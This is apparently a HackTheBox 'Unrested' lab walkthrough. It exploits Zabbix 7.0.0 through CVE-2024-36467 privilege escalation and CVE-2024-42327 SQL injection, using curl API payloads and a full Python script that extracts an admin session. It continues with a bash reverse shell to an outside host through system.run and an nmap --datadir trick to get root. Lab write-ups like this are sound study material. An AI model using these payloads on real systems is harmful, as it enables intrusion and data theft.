Introduction
HackTheBox Unrested is a medium-difficulty Linux machine running a version of Zabbix. Through enumeration, it is discovered that the Zabbix version is vulnerable to CVE-2024-36467 (a flaw in the user.update function of the CUser class that lacks proper access controls) and CVE-2024-42327 (an SQL injection vulnerability in the user.get function of the CUser class).
These vulnerabilities are exploited to gain initial user access to the target system. Further post-exploitation enumeration uncovers a sudo misconfiguration, allowing the zabbix user to execute sudo /usr/bin/nmap
, which serves as an optional dependency to escalate privileges to root.
Web Hacking & Pentesting Study Notes
HackTheBox Unrested Description
Unrested is a medium difficulty `Linux` machine hosting a version of `Zabbix`. Enumerating the version of `Zabbix` shows that it is vulnerable to both [CVE-2024-36467](https://nvd.nist.gov/vuln/detail/CVE-2024-36467) (missing access controls on the `user.update` function within the `CUser` class) and [CVE-2024-42327](https://nvd.nist.gov/vuln/detail/CVE-2024-42327) (SQL injection in `user.get` function in `CUser` class) which is leveraged to gain user access on the target. Post-exploitation enumeration reveals that the system has a `sudo` misconfiguration allowing the `zabbix` user to execute `sudo /usr/bin/nmap`, an optional dependency in `Zabbix` servers that is leveraged to gain `root` access.
Enumeration
Nmap scan has shown the following ports below:
nmap -p- --min-rate=1000 -T2 10.129.231.176
22/tcp open ssh
80/tcp open http
10050/tcp open tcpwrapped
10050/tcp open tcpwrapped
The scan indicates that SSH and Apache2 are active on their default ports. The ports 10051 are linked to Zabbix agents, while the Zabbix login page is accessible.
Navigating to the target IP on ports 10050 and 80 redirects us to a different location.
With the given credentials, we can log in as Matthew to access the Zabbix dashboard. This account is assigned the default User role and does not belong to any additional groups or have extra privileges. At the bottom of the page, the Zabbix version displayed is 7.0.0.
Exploitation
Upon examining this version of Zabbix, two significant vulnerabilities have been identified:
- CVE-2024-36467: Attackers can exploit inadequate access controls in the
CUser.update
function of theCUser
class to elevate their privileges to superuser status, provided they have API access. - CVE-2024-42327: Attackers can execute SQL injection through the
CUser.get
function in theCUser
class, potentially exposing database contents and facilitating privilege escalation. Zabbix Support
It’s crucial to address these vulnerabilities promptly to maintain system security.
Exploiting CVE-2024-36467
CVE-2024-36467 is a security vulnerability identified in the Zabbix Monitoring Tool, a widely used open-source network monitoring software. This vulnerability allows an authenticated user with API access, specifically those with the default User role, to escalate their privileges by adding themselves to any group, including administrative groups like “Zabbix Administrators.” This is achieved through the user.update
API endpoint. However, users cannot add themselves to groups that are disabled or have restricted GUI access.
Affected Versions:
- Zabbix versions 5.0.0 through 5.0.42
- Zabbix versions 6.0.0 through 6.0.32
- Zabbix versions 6.4.0 through 6.4.17
- Zabbix versions 7.0.0 through 7.0.1rc1
Impact: An attacker exploiting this vulnerability could gain unauthorized administrative access, leading to potential system modifications and data breaches.
To carry out this exploitation, we start by authenticating to the API with the user credentials, which provides us with an API key in return.
curl --request POST \--url 'http://10.129.231.176/zabbix/api_jsonrpc.php' \--header 'Content-Type: application/json-rpc' \--data '{"jsonrpc":"2.0","method":"user.login","params": {"username":"matthew","password":"96qzn0h2e1k3"},"id":1}'
And the response
{"jsonrpc":"2.0","result":"4f40390f58e068133d1d7b05baad7011","id":1}
By examining the source code in the Zabbix GitHub repository, we identify and analyze the user.update
function located on line 358.
It is evident that no authorization checks are implemented, allowing an API-authenticated user to freely update other users. I proceed to attempt modifying my role to that of a superuser.
Upon further investigation of the source code, we observe that within the validateUpdate
function, a call is made to the checkHimself
function on line 542. The relevant code snippet appears as follows:
private function checkHimself(array $users) {
foreach ($users as $user) {
if (bccomp($user['userid'], self::$userData['userid']) == 0) { if (array_key_exists('roleid', $user) && $user['roleid'] != self::$userData['roleid']) { self::exception(ZBX_API_ERROR_PARAMETERS, _('User cannot change own role.'));
}
if (array_key_exists('usrgrps', $user)) {
$db_usrgrps = DB::select('usrgrp', [
'output' => ['gui_access', 'users_status'], 'usrgrpids' => zbx_objectValues($user['usrgrps'], 'usrgrpid') ]);
foreach ($db_usrgrps as $db_usrgrp) {
if ($db_usrgrp['gui_access'] == GROUP_GUI_ACCESS_DISABLED || $db_usrgrp['users_status'] == GROUP_STATUS_DISABLED) { self::exception(ZBX_API_ERROR_PARAMETERS, _('User cannot add himself to a disabled group or a group with disabled GUI access.')
);
}
}
}
break;
}
}
}
This snippet highlights that role changes are restricted because roles are determined by extracting data from the API token and verifying it against the database to confirm the user’s identity. However, examining the code reveals that the usrgrps
parameter lacks proper validation, making it vulnerable to abuse. By exploiting this, one could add themselves to multiple groups simultaneously. If a group is active and permits GUI access, this loophole can be used to alter the current role with a specific command.
curl --request POST \ --url 'http://10.129.231.176/zabbix/api_jsonrpc.php' \ --header 'Content-Type: application/json-rpc' \ --data '{"jsonrpc":"2.0","method":"user.update","params": {"userid":"3","usrgrps":[{"usrgrpid":"13"}, {"usrgrpid":"7"}]},"auth":"4f40390f58e068133d1d7b05baad7011","id":1}'
User ID 3 corresponds to Matthew. User groups 7 and 13, identified as the Zabbix Administrators group and the Internal group, respectively, both possess unrestricted privileges. The response confirms that the modification was successfully implemented.
Now, we are able to identify and retrieve the user groups associated with our current user.
curl --request POST \--url 'http://10.129.231.176/zabbix/api_jsonrpc.php' \--header 'Content-Type: application/json-rpc' \--data '{"jsonrpc":"2.0","method":"user.get","params":{"output": ["userid","3"],"selectUsrgrps":["usrgrpid","name"],"filter": {"alias":"matthew"}},"auth":"4f40390f58e068133d1d7b05baad7011","id":1}'
Upon review, we observe that the user with ID 3 belongs to both the Internal group and the Administrators group.
{"jsonrpc":"2.0","result":[{"userid":"1","usrgrps": [{"usrgrpid":"7","name":"Zabbix administrators"}, {"usrgrpid":"13","name":"Internal"}]},{"userid":"2","usrgrps": [{"usrgrpid":"8","name":"Guests"}]},{"userid":"3","usrgrps": [{"usrgrpid":"7","name":"Zabbix administrators"}, {"usrgrpid":"13","name":"Internal"}]}],"id":1}
If a valid Host Group is assigned to the Zabbix administrator group, they will gain the ability to create items, potentially enabling remote code execution, which will be discussed in the next CVE.
Exploiting CVE-2024-42327
CVE-2024-42327 is a critical SQL injection vulnerability in Zabbix, an open-source monitoring tool. This flaw allows authenticated non-admin users with API access to execute arbitrary SQL commands on the Zabbix server, potentially leading to unauthorized access and complete control over the system.
National Vulnerability Database
Affected Versions:
- Zabbix 6.0.0 to 6.0.31
- Zabbix 6.4.0 to 6.4.16
- Zabbix 7.0.0
Details: The vulnerability resides in the CUser
class’s addRelatedObjects
function, which is invoked by the CUser.get
function. Since CUser.get
is accessible to any user with API access, including those with the default User role, attackers can exploit this flaw to perform SQL injection attacks.
Impact: Exploiting this vulnerability could allow attackers to:
- Escalate privileges
- Access and modify sensitive data
- Execute arbitrary commands on the database server
- Gain complete control over the affected Zabbix instance
Mitigation: Zabbix has addressed this issue in the following release candidates:
- 6.0.32rc1
- 6.4.17rc1
- 7.0.1rc1
To execute this exploitation, we begin by authenticating with the API using the provided user credentials, which returns an API key in response.
curl --request POST \
--url 'http://10.129.231.176/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.login","params":
{"username":"matthew","password":"96qzn0h2e1k3"},"id":1}'
Upon reviewing the source code within the CUser class, we focus on analyzing the user.get
function, which is located at line 68.
Additionally, a validation or conditional check is implemented at line 108, using the following code snippet:
// permission check
if (self::$userData['type'] != USER_TYPE_SUPER_ADMIN) {
if (!$options['editable']) {
$sqlParts['from']['users_groups'] = 'users_groups ug';
$sqlParts['where']['uug'] = 'u.userid=ug.userid';
$sqlParts['where'][] = 'ug.usrgrpid IN ('.
' SELECT uug.usrgrpid'.
' FROM users_groups uug'.
' WHERE uug.userid='.self::$userData['userid'].
')';
}
else {
$sqlParts['where'][] = 'u.userid='.self::$userData['userid'];
}
}
If the editable
option is included in the API request, the validation process skips checking the user group and instead verifies only if the current user ID matches the provided user, effectively bypassing permissions for the user.get
function. In the addRelatedObject
function at line 234, a call is made to the addRelatedObjects
function, which contains a vulnerability to SQL injection. Upon analyzing the code at line 2969, most SQL statements appear secure until reaching line 3041, where potential issues arise.
// adding user role
if ($options['selectRole'] !== null && $options['selectRole'] !==
API_OUTPUT_COUNT) {
if ($options['selectRole'] === API_OUTPUT_EXTEND) {
$options['selectRole'] = ['roleid', 'name', 'type', 'readonly'];
}
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.',
$options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
foreach ($result as $userid => $user) {
$result[$userid]['role'] = [];
}
while ($db_role = DBfetch($db_roles)) {
$userid = $db_role['userid'];
unset($db_role['userid']);
$result[$userid]['role'] = $db_role;
}
}
return $result;
In this section, when the selectRole
option is provided, an unsafe call is made to a function without properly sanitizing user inputs. This leads to vulnerabilities such as Time-based and DBSelect Blind Boolean-based SQL injections. To test this, a payload is extracted from a successful injection point in the selectRole
parameter.
time curl --request POST \
--url 'http://10.129.231.176/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json' \
--data '{"jsonrpc":"2.0","method":"user.get","params":{"output":
["userid","username"],"selectRole":["roleid","name AND (SELECT 1 FROM (SELECT
SLEEP(5))A)"],"editable":1},"auth":"cd786299f5aac43dd4809e01173408f8","id":1}'
And the output below shows that the target sleep for 5 seconds.
{"jsonrpc":"2.0","result":[{"userid":"3","username":"matthew","role":
{"roleid":"1",""r.name and (SELECT 1 FROM (SELECT SLEEP(5))A)":"0"}}],"id":1}
real 5.12s
user 0.00s
sys 0.01s
cpu 0%
We capture the request in BurpSuite and store it in a file using the following request:
POST /zabbix/api_jsonrpc.php HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Length: 358
Host: 10.129.231.176:80
Content-Type: application/json-rpc
Connection: keep-alive
{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"output": ["userid", "username"],
"selectRole": [
"roleid",
"name *"
],
"editable": 1
},
"auth": "cd786299f5aac43dd4809e01173408f8"
"id": 1
}
Using SQLMap, we aim to detect potential vulnerabilities and extract data from the database.
sqlmap -r req --dbs
available databases [2]:
[*] information_schema
[*] zabbix
Remote Code Execution
Using both methods, we can exploit misconfigured agents to achieve remote code execution. For the time-based SQL injection approach, we need to extract the sessions table from the database to determine if the Admin user has logged in. However, since this method is time-intensive, I have provided a multi-threaded script to expedite the extraction of the admin session for further exploitation.
import requests
import json
from datetime import datetime
import string
import random
import sys
from concurrent.futures import ThreadPoolExecutor
API_URL = "http://10.129.231.176/zabbix/api_jsonrpc.php"
EXPECTED_RESPONSE_TIME = 1
ROW_INDEX = 0
USERNAME = "matthew"
PASSWORD = "96qzn0h2e1k3"
def authenticate():
"""Authenticate the user and retrieve the authentication token."""
payload = {
"jsonrpc": "2.0",
"method": "user.login",
"params": {
"username": USERNAME,
"password": PASSWORD
},
"id": 1
}
response = requests.post(API_URL, json=payload)
if response.status_code == 200:
try:
response_json = response.json()
auth_token = response_json.get("result")
if auth_token:
print(f"Login successful! Auth token: {auth_token}")
return auth_token
else:
print(f"Login failed. Response: {response_json}")
except Exception as e:
print(f"Error parsing response: {str(e)}")
else:
print(f"HTTP request failed with status code {response.status_code}")
def send_injection(auth_token, position, char):
"""Send an SQL injection payload and measure the response time."""
payload = {
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"output": ["userid", "username"],
"selectRole": [
"roleid",
f"name AND (SELECT * FROM (SELECT(SLEEP({EXPECTED_RESPONSE_TIME} - "
f"(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions "
f"WHERE userid=1 and status=0 LIMIT {ROW_INDEX},1), "
f"{position}, 1))={ord(char)}, 0, {EXPECTED_RESPONSE_TIME})))))BEEF)"
],
"editable": 1,
},
"auth": auth_token,
"id": 1
}
start_time = datetime.now().timestamp()
response = requests.post(API_URL, json=payload)
end_time = datetime.now().timestamp()
response_time = end_time - start_time
return char, response_time
def test_characters_parallel(auth_token, position):
"""Test all printable characters in parallel for a specific position."""
with ThreadPoolExecutor(max_workers=10) as executor:
futures = {
executor.submit(send_injection, auth_token, position, char): char
for char in string.printable
}
for future in futures:
char, response_time = future.result()
if EXPECTED_RESPONSE_TIME - 0.5 < response_time < EXPECTED_RESPONSE_TIME + 0.5:
return char
return None
def print_progress(extracted_value):
"""Print the extraction progress."""
sys.stdout.write(f"\rExtracting admin session: {extracted_value}")
sys.stdout.flush()
def extract_admin_session_parallel(auth_token):
"""Extract the admin session ID by testing characters in parallel."""
extracted_value = ""
max_length = 32
for position in range(1, max_length + 1):
char = test_characters_parallel(auth_token, position)
if char:
extracted_value += char
print_progress(extracted_value)
else:
print(f"\n(-) No character found at position {position}, stopping.")
break
return extracted_value
if __name__ == "__main__":
print("Authenticating...")
auth_token = authenticate()
if auth_token:
print("Starting data extraction...")
admin_session = extract_admin_session_parallel(auth_token)
print(f"\nAdmin session extracted: {admin_session}")
else:
print("Authentication failed. Exiting.")
The script implements a nested time-based SQL injection, where the payload is injected into the name
parameter by appending AND
to combine the condition.
SELECT * FROM (SELECT(SLEEP(...)))BEEF
Additionally, The SLEEP
condition in this script pauses execution for 1 second when triggered and is used to obtain the sessionid
of an active Admin account that has authenticated to the website or API. The SELECT
statement retrieves the first result at index ROW 0
, which is then processed using the MID
function. The MID
function extracts a specific character from the sessionid
based on its position, which is incrementally tested and passed into the ORD
function. The ORD
function converts the extracted character into its ASCII value for comparison, which is then evaluated using an IF
condition. This IF
condition checks if the ASCII value of the extracted character matches the expected value (ord(char)
). If the condition is satisfied, the SLEEP
condition is activated, confirming the correct character. By repeating this process, the 32-character sessionid
can be revealed.
Running the script will return the admin API token
python3 exploit.py
Extracting admin session: a33c104db62d09205a7bfe37dd2ce8e1
With the Admin user’s API token, we can proceed to create an item and then trigger it through a task. To begin, we need to create the item, but first, we must retrieve the current host IDs along with their associated interface IDs.
curl --request POST \
--url 'http://10.129.231.176/zabbix/api_jsonrpc.php'\
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"host.get","params":{"output":
["hostid","host"],"selectInterfaces":
["interfaceid"]},"auth":"a33c104db62d09205a7bfe37dd2ce8e1","id":1}'
The response
{"jsonrpc":"2.0","result":[{"hostid":"10084","host":"Zabbix server","interfaces":
[{"interfaceid":"1"}]}],"id":1}
To trigger a reverse shell, we craft the below payload
curl --request POST \
--url 'http://10.129.231.176/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"item.create","params":
{"name":"rce","key_":"system.run[bash -c '\''bash -i >&
/dev/tcp/10.10.14.100/4448
0>&1'\'']","delay":1,"hostid":"10084","type":0,"value_type":1,"interfaceid":"1"},
"auth":"a33c104db62d09205a7bfe37dd2ce8e1","id":1}'
{"jsonrpc":"2.0","result":{"itemids":["47184"]},"id":1}
And:
nc -lvvp 4448
Listening on 0.0.0.0 4448
zabbix@unrested:/$
Linux Privilege Escalation
As a Zabbix user, we verify whether we can run any applications with sudo privileges.
zabbix@unrested:/$ sudo -l
sudo -l
Matching Defaults entries for zabbix on unrested:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/
snap/bin,
use_pty
User zabbix may run the following commands on unrested:
(ALL : ALL) NOPASSWD: /usr/bin/nmap *
We observe that we have unrestricted access to execute /usr/bin/nmap
. Consequently, we proceed to utilize the sudo privilege escalation technique as outlined in GTFOBins.
zabbix@unrested:/$ TF=$(mktemp)
zabbix@unrested:/$ echo 'os.execute("/bin/sh")' > $TF
zabbix@unrested:/$ sudo nmap --script=$TF
Script mode is disabled for security reasons.
zabbix@unrested:/$
It appears that the server maintainers were already aware of the potential privilege escalation vulnerabilities associated with nmap. As a result, all the GTFOBins methods for exploitation are ineffective in this case. Upon reviewing the available options, we come across the --datadir
option.
--datadir <dirname>: Specify custom Nmap data file location
The --datadir
option allows you to specify a custom directory where default scripts and other essential nmap files are stored. By default, this directory is set to /usr/share/nmap
.
One key file in this directory is nse_main.lua
, the default script file that can be executed using the -sC
flag. To exploit this, a new file can be created at /tmp/nse_main.lua
containing the command os.execute("chmod 4755 /bin/bash")
. When localhost is scanned with the -sC
option enabled, this sets /bin/bash
with the SUID bit. As a result, a shell can be spawned with the effective UID of the root user.
zabbix@unrested:/$ echo 'os.execute("chmod 4755 /bin/bash")' > /tmp/nse_main.lua
zabbix@unrested:/$ sudo /usr/bin/nmap --datadir=/tmp -sC localhost
zabbix@unrested:/$ /bin/bash -p
bash-5.1# id
uid=114(zabbix) gid=121(zabbix) euid=0(root) groups=121(zabbix)
Done